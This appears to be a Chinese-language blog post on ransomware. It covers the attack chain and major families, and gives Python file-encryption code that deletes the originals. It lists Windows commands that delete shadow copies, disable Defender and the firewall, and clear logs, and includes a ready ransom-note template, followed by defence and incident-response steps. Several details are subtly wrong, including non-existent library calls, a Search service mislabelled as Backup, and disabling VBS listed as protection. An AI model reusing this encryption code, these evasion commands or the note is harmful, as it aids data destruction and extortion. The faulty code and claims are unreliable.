勒索软件

勒索软件

勒索软件(Ransomware)是近年来对企业造成最大威胁的恶意软件类型之一。本文档涵盖勒索软件的工作原理、攻击流程、防御和应急响应技术。

1 勒索软件概述

勒索软件攻击链:
├── 初始入侵
│   ├── 钓鱼邮件
│   ├── 漏洞利用 (RDP, VPN漏洞)
│   ├── 恶意下载
│   └── 供应链攻击
│
├── 权限维持
│   ├── 植入后门
│   ├── 横向移动
│   └── 凭证窃取
│
├── 侦察和数据窃取
│   ├── 网络扫描
│   ├── 数据发现
│   └── 数据外传
│
├── 加密准备
│   ├── 禁用备份
│   ├── 删除卷影副本
│   └── 关闭安全软件
│
├── 数据加密
│   ├── 加密文件
│   ├── 加密网络共享
│   └── 加密备份
│
└── 勒索
    ├── 发送勒索信
    └── 要求赎金

2 常见勒索软件家族

家族 特点 受害者行业
LockBit 勒索软件即服务(RaaS), 高速加密 多行业
Conti 双重勒索, 数据泄露威胁 关键基础设施
REvil (Sodinokibi) RaaS模式, 窃取数据 多行业
Ryuk 针对性攻击, 大型企业 医疗, 金融
Maze 首创双重勒索模式 多行业
DarkSide 攻击Colonial Pipeline 关键基础设施
WannaCry 利用MS17-010, 蠕虫传播 全球
NotPetya 伪装成Petya, 破坏性更强 全球

3 加密流程

3.1 加密算法

# 对称加密 (快速)
# AES-256 用于文件加密
from Crypto.Cipher import AES
key = AES.generate_key(256)
cipher = AES.new(key, AES.MODE_CBC)
encrypted_data = cipher.encrypt(data)

# 非对称加密 (用于交换密钥)
# RSA-2048 或 RSA-4096
# 用于加密对称密钥
from Crypto.PublicKey import RSA
key = RSA.generate(2048)

# 混合加密 (实际使用)
# 1. 生成随机的AES会话密钥
# 2. 用AES加密文件内容
# 3. 用RSA公钥加密AES密钥
# 4. 发送加密的密钥和加密文件

3.2 文件加密逻辑

# 勒索软件文件加密逻辑示例
import os
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
import secrets

def encrypt_file(filepath, public_key_path):
    # 1. 生成随机会话密钥
    session_key = secrets.token_bytes(32)

    # 2. 读取文件
    with open(filepath, 'rb') as f:
        data = f.read()

    # 3. 填充数据到16字节倍数
    padding = 16 - (len(data) % 16)
    data += bytes([padding]) * padding

    # 4. 使用AES加密
    cipher = AES.new(session_key, AES.MODE_CBC)
    encrypted_data = cipher.encrypt(data)

    # 5. 使用RSA公钥加密会话密钥
    with open(public_key_path, 'rb') as f:
        rsa_key = RSA.import_key(f.read())
    encrypted_key = rsa_key.encrypt(session_key, None)[0]

    # 6. 写入加密文件
    with open(filepath + '.encrypted', 'wb') as f:
        f.write(encrypted_key)
        f.write(cipher.iv)
        f.write(encrypted_data)

    # 7. 删除原文件
    os.remove(filepath)

3.3 加密目标文件类型

常见被加密的文件类型:
├── 文档
│   ├── .doc, .docx, .xls, .xlsx, .ppt, .pptx
│   ├── .pdf, .txt, .rtf, .odt
│   └── .csv, .json, .xml
│
├── 数据库
│   ├── .mdb, .accdb, .dbf
│   ├── .sql, .mysql, .pgsql
│   └── .sqlite, .oracle
│
├── 邮件
│   ├── .pst, .ost, .mbox
│   └── .eml, .msg
│
├── 媒体
│   ├── .jpg, .png, .gif, .bmp
│   ├── .mp4, .avi, .mov
│   └── .psd, .ai, .raw
│
├── 备份
│   ├── .bak, .backup, .dump
│   └── .vhd, .vmx
│
└── 代码
    ├── .cs, .java, .py, .php
    ├── .js, .html, .css
    └── .sql, .sh, .ps1

4 勒索软件功能

4.1 禁用备份

# Windows: 删除卷影副本
vssadmin delete shadows /all /quiet
vssadmin resize shadowstorage for=C: /on=C: /maxsize=401MB

# 删除计划备份任务
schtasks /delete /tn "Microsoft\Windows\FileHistory\File History" /f 2>nul

# 停止Windows Backup服务
net stop WSearch 2>nul
sc config WSearch start= disabled 2>nul

# 删除还原点
PowerShell: Remove-ComputerRestorePoint -All

4.2 禁用安全软件

# 停止Windows Defender
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d 1 /f

# 停止实时保护
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true

# 删除安全工具
taskkill /F /IM msimn.exe 2>nul
taskkill /F /IM msMpEng.exe 2>nul

# 禁用Windows Firewall
netsh advfirewall set allprofiles state off

4.3 日志清除

# 清除Windows日志
wevtutil cl Application
wevtutil cl Security
wevtutil cl System
wevtutil cl Setup
wevtutil cl "Windows PowerShell"

# 清除历史记录
del /q /f %USERPROFILE%\AppData\Local\History\*.* 2>nul
del /q /f %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 2>nul

# 清除Prefetch
del /q /f C:\Windows\Prefetch\*.pf 2>nul

# 清除Temp
del /q /f %TEMP%\*.* 2>nul

5 勒索信内容

# 勒索信通常名为: README_DECRYPT.txt 或类似

=========================================
YOUR FILES ARE ENCRYPTED
=========================================

What happened?
Your documents, photos, databases and other important files have been encrypted with the strongest encryption algorithm (RSA-4096 + AES-256).

How to recover my files?
You need to obtain a private key to decrypt your files.
The only way to get your files back is to purchase the decryption tool.

How to pay?
1. Purchase 0.5 Bitcoin (BTC) and send to this address:
   bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh

2. After payment, contact us via email:
   decrypt@protonmail.com

3. In your email, include your personal ID:
   ID: XXXX-XXXX-XXXX-XXXX-XXXX

4. We will send you the decryption tool and detailed instructions.

Price: 0.5 BTC
Time limit: 72 hours (after that price doubles)

WARNING:
- Do NOT try to decrypt yourself (you will lose your files permanently)
- Do NOT rename encrypted files
- Do NOT trust anyone claiming to help you decrypt
=========================================

6 防御措施

6.1 预防措施

# 1. 备份策略
# 3-2-1 原则: 3份副本, 2种介质, 1份异地
# 使用Windows Backup或第三方备份软件
# 定期测试备份恢复

# 2. 网络隔离
# 隔离关键系统
# VLAN划分
# 禁止SMBv1

# 3. 补丁管理
# 及时安装安全更新
# 重点补丁:
#    - MS17-010 (永恒之蓝)
#    - CVE-2019-19781 (Citrix)
#    - CVE-2020-0796 (SMBGhost)

# 4. 最小权限原则
# 禁止本地管理员权限共享
# 限制域管登录范围
# 使用组策略限制用户权限

# 5. 邮件安全
# 配置邮件网关
# 启用SPF/DKIM/DMARC
# 过滤可疑附件

6.2 技术防护

# 1. 启用Windows Defender
Set-MpPreference -EnableRealtimeMonitoring $true
Set-MpPreference -EnableScriptScanning $true

# 2. 配置AppLocker (只允许白名单程序)
# 创建规则允许只从Program Files和Windows目录运行

# 3. 禁用VBS (Virtualization Based Security)
# 可能影响某些安全功能

# 4. 启用Secure Boot
# 防止Bootkit加载

# 5. 网络层防护
# 阻断常见C2通信
# 使用DNS Sinkhole
# 启用IDS/IPS

# 6. 禁用RDP (如果不是必需)
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

# 7. 禁用SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

6.3 安全配置基线

Windows Server 安全基线:
├── 密码策略
│   ├── 最小长度16位
│   ├── 包含大小写字母、数字、特殊字符
│   └── 每90天更换
│
├── 账户策略
│   ├── 锁定阈值5次
│   ├── 锁定时间30分钟
│   └── 禁用空密码账户
│
├── 审核策略
│   ├── 审核登录事件
│   ├── 审核对象访问
│   ├── 审核策略更改
│   └── 启用日志集中收集
│
├── 网络配置
│   ├── 禁用SMBv1
│   ├── 启用SMB签名
│   ├── 禁用LM认证
│   └── 防火墙配置
│
└── 服务配置
    ├── 禁用不必要的服务
    ├── 限制远程服务
    └── 定期安全更新

7 应急响应

7.1 发现勒索软件

# 检测指标:
# - 文件被加密,扩展名被更改
# - 桌面出现勒索信息
# - 系统运行缓慢
# - 备份失败
# - 异常网络流量

# 查看异常进程
tasklist /V | findstr /I "svchost explorer"

# 检查网络连接
netstat -ab | findstr /I "LISTENING ESTABLISHED"

# 检查启动项
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ScheduledTask

7.2 隔离感染主机

# 立即断开网络
netsh interface set interface "Ethernet" disabled

# 禁用Wi-Fi
netsh interface set interface "Wi-Fi" disabled

# 隔离网段
# 物理断开或交换机隔离

# 禁止从该主机访问其他机器
# 检查共享文件
net session
net file

7.3 评估影响范围

# 检查被加密的文件类型
Get-ChildItem -Path C:\ -Recurse -File | Where-Object { $_.Extension -match "\.(encrypted|locked| crypto)" }

# 检查勒索信
Get-ChildItem -Path C:\ -Recurse -Filter "README*.txt" -ErrorAction SilentlyContinue

# 评估关键系统
# - DC是否感染
# - 数据库服务器
# - 备份系统
# - 邮件服务器

7.4 取证收集

# 1. 保存勒索信
# 复制勒索信内容,包括文件名和位置

# 2. 保存加密文件样本
# 复制几个被加密的文件(不要支付赎金)

# 3. 保存恶意软件样本
# 如果发现勒索软件可执行文件,保存

# 4. 保存系统镜像
# 使用FTK Imager或其他工具

# 5. 保存日志
# Windows Event Logs
# Sysmon logs (如果有)
# 网络流量捕获 (Wireshark)

7.5 恢复流程

# 1. 确定恢复优先级
# - 关键业务系统
# - 数据库
# - Active Directory

# 2. 从备份恢复
# 确保备份未被感染
# 测试恢复流程
# 按优先级恢复

# 3. 清除恶意软件
# 使用杀毒软件全盘扫描
# 重新安装受感染系统(如果无法确认清除)

# 4. 恢复后安全加固
# 打补丁
# 更新密码
# 审查访问权限

8 参考资源

  • No More Ransom Project: https://www.nomoreransom.org/
  • ID Ransomware: https://id-ransomware.malwarehunterteam.com/
  • BleepingComputer Ransomware Support: https://www.bleepingcomputer.com/
  • MITRE ATT&CK Ransomware: https://attack.mitre.org/software/S0366/
  • NIST Ransomware Guide: https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final
posted @ 2026-06-19 13:39  Doll_Marker  阅读(32)  评论(0)    收藏  举报